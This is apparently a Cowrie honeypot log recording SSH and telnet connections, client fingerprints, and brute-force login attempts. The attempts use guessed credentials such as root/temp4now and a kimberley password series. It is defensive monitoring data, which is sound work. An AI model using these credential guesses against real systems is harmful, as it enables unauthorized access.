{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:33:44.175496Z","src_ip":"64.89.160.135","session":"41de09708c87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.160.206.186","src_port":37118,"dst_ip":"159.203.135.109","dst_port":22,"session":"ab63ff10e3c3","protocol":"ssh","message":"New connection: 43.160.206.186:37118 (159.203.135.109:22) [session: ab63ff10e3c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:33:51.384716Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:33:51.389159Z","src_ip":"43.160.206.186","session":"ab63ff10e3c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:33:51.637130Z","src_ip":"43.160.206.186","session":"ab63ff10e3c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"temp4now","message":"login attempt [root/temp4now] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:33:52.648930Z","src_ip":"43.160.206.186","session":"ab63ff10e3c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:33:53.897953Z","src_ip":"43.160.206.186","session":"ab63ff10e3c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":43878,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba5c39f519e6","protocol":"ssh","message":"New connection: 159.203.92.129:43878 (159.203.135.109:22) [session: ba5c39f519e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:34:22.292286Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:34:22.297282Z","src_ip":"159.203.92.129","session":"ba5c39f519e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:34:22.302221Z","src_ip":"159.203.92.129","session":"ba5c39f519e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"accumulo","password":"123456","message":"login attempt [accumulo/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:34:22.314474Z","src_ip":"159.203.92.129","session":"ba5c39f519e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:34:23.321592Z","src_ip":"159.203.92.129","session":"ba5c39f519e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00281810760498,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:34:55.768348Z","src_ip":"89.43.134.59","session":"6d71673fccbd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00325894355774,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:34:57.364037Z","src_ip":"89.43.134.59","session":"99f1fe9dc3b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00173687934875,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:34:57.449283Z","src_ip":"89.43.134.59","session":"333a18e1bff8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.43.134.59","src_port":17233,"dst_ip":"159.203.135.109","dst_port":23,"session":"7cbf042bb5a0","protocol":"telnet","message":"New connection: 89.43.134.59:17233 (159.203.135.109:23) [session: 7cbf042bb5a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:35:00.861676Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.43.134.59","src_port":22041,"dst_ip":"159.203.135.109","dst_port":23,"session":"f952a7b2b41c","protocol":"telnet","message":"New connection: 89.43.134.59:22041 (159.203.135.109:23) [session: f952a7b2b41c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:35:01.231271Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.43.134.59","src_port":59101,"dst_ip":"159.203.135.109","dst_port":23,"session":"d4471c437211","protocol":"telnet","message":"New connection: 89.43.134.59:59101 (159.203.135.109:23) [session: d4471c437211]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:35:03.952005Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":56748,"dst_ip":"159.203.135.109","dst_port":22,"session":"71a492780949","protocol":"ssh","message":"New connection: 159.203.92.129:56748 (159.203.135.109:22) [session: 71a492780949]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:35:09.633978Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:35:09.748370Z","src_ip":"159.203.92.129","session":"71a492780949","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:35:09.787001Z","src_ip":"159.203.92.129","session":"71a492780949","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"accumulo","password":"accumulo","message":"login attempt [accumulo/accumulo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:35:10.285457Z","src_ip":"159.203.92.129","session":"71a492780949","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:35:11.323185Z","src_ip":"159.203.92.129","session":"71a492780949","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.104.210.105","src_port":51036,"dst_ip":"159.203.135.109","dst_port":22,"session":"d4a9b646ce3f","protocol":"ssh","message":"New connection: 172.104.210.105:51036 (159.203.135.109:22) [session: d4a9b646ce3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:35:28.417103Z"}
{"eventid":"cowrie.client.version","version":"\u0016\u0003\u0001\u0000u\u0001\u0000\u0000q\u0003\u0003\u0006\u0018\\xad\\xbb\u0002\\xf8\u0006w\b|\\xc6x\\xf9\u03c5\\xa0\\xe7\\xfe\u0001\\xa9\\xefO\\xf8\\xe1R~b\u001agP\\xb5D\u0000\u0000\u001a\\xc0/\\xc0+\\xc0\u0011\\xc0\u0007\\xc0\u0013\\xc0\t\\xc0\u0014\\xc0","message":"Remote SSH version: \u0016\u0003\u0001\u0000u\u0001\u0000\u0000q\u0003\u0003\u0006\u0018\\xad\\xbb\u0002\\xf8\u0006w\b|\\xc6x\\xf9\u03c5\\xa0\\xe7\\xfe\u0001\\xa9\\xefO\\xf8\\xe1R~b\u001agP\\xb5D\u0000\u0000\u001a\\xc0/\\xc0+\\xc0\u0011\\xc0\u0007\\xc0\u0013\\xc0\t\\xc0\u0014\\xc0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:35:28.422178Z","src_ip":"172.104.210.105","session":"d4a9b646ce3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:35:28.429789Z","src_ip":"172.104.210.105","session":"d4a9b646ce3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.159","src_port":28160,"dst_ip":"159.203.135.109","dst_port":22,"session":"468e327620c3","protocol":"ssh","message":"New connection: 213.209.159.159:28160 (159.203.135.109:22) [session: 468e327620c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:35:32.542600Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:35:32.547550Z","src_ip":"213.209.159.159","session":"468e327620c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:35:32.630374Z","src_ip":"213.209.159.159","session":"468e327620c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kimberley","password":"kimberley","message":"login attempt [kimberley/kimberley] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:35:33.030849Z","src_ip":"213.209.159.159","session":"468e327620c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kimberley","password":"kimberley1","message":"login attempt [kimberley/kimberley1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:35:34.115473Z","src_ip":"213.209.159.159","session":"468e327620c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kimberley","password":"kimberley123","message":"login attempt [kimberley/kimberley123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:35:35.201173Z","src_ip":"213.209.159.159","session":"468e327620c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kimberley","password":"kimberley1234","message":"login attempt [kimberley/kimberley1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:35:36.286847Z","src_ip":"213.209.159.159","session":"468e327620c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kimberley","password":"kimberley12345","message":"login attempt [kimberley/kimberley12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:35:37.373370Z","src_ip":"213.209.159.159","session":"468e327620c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:35:38.458976Z","src_ip":"213.209.159.159","session":"468e327620c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":35480,"dst_ip":"159.203.135.109","dst_port":22,"session":"cf0c36cd148b","protocol":"ssh","message":"New connection: 159.203.92.129:35480 (159.203.135.109:22) [session: cf0c36cd148b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:35:52.246932Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:35:52.258840Z","src_ip":"159.203.92.129","session":"cf0c36cd148b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:35:52.263335Z","src_ip":"159.203.92.129","session":"cf0c36cd148b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"accumulo","password":"accumulo123","message":"login attempt [accumulo/accumulo123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:35:52.353633Z","src_ip":"159.203.92.129","session":"cf0c36cd148b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:35:53.361606Z","src_ip":"159.203.92.129","session":"cf0c36cd148b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":48464,"dst_ip":"159.203.135.109","dst_port":22,"session":"f92f8cb5874a","protocol":"ssh","message":"New connection: 159.203.92.129:48464 (159.203.135.109:22) [session: f92f8cb5874a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:36:36.049165Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:36:36.058242Z","src_ip":"159.203.92.129","session":"f92f8cb5874a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:36:36.070247Z","src_ip":"159.203.92.129","session":"f92f8cb5874a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"acd","password":"123456","message":"login attempt [acd/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:36:36.084498Z","src_ip":"159.203.92.129","session":"f92f8cb5874a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:36:37.098714Z","src_ip":"159.203.92.129","session":"f92f8cb5874a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01636481285095,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:37:00.877942Z","src_ip":"89.43.134.59","session":"7cbf042bb5a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00187516212463,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:37:01.233016Z","src_ip":"89.43.134.59","session":"f952a7b2b41c","protocol":"telnet"}
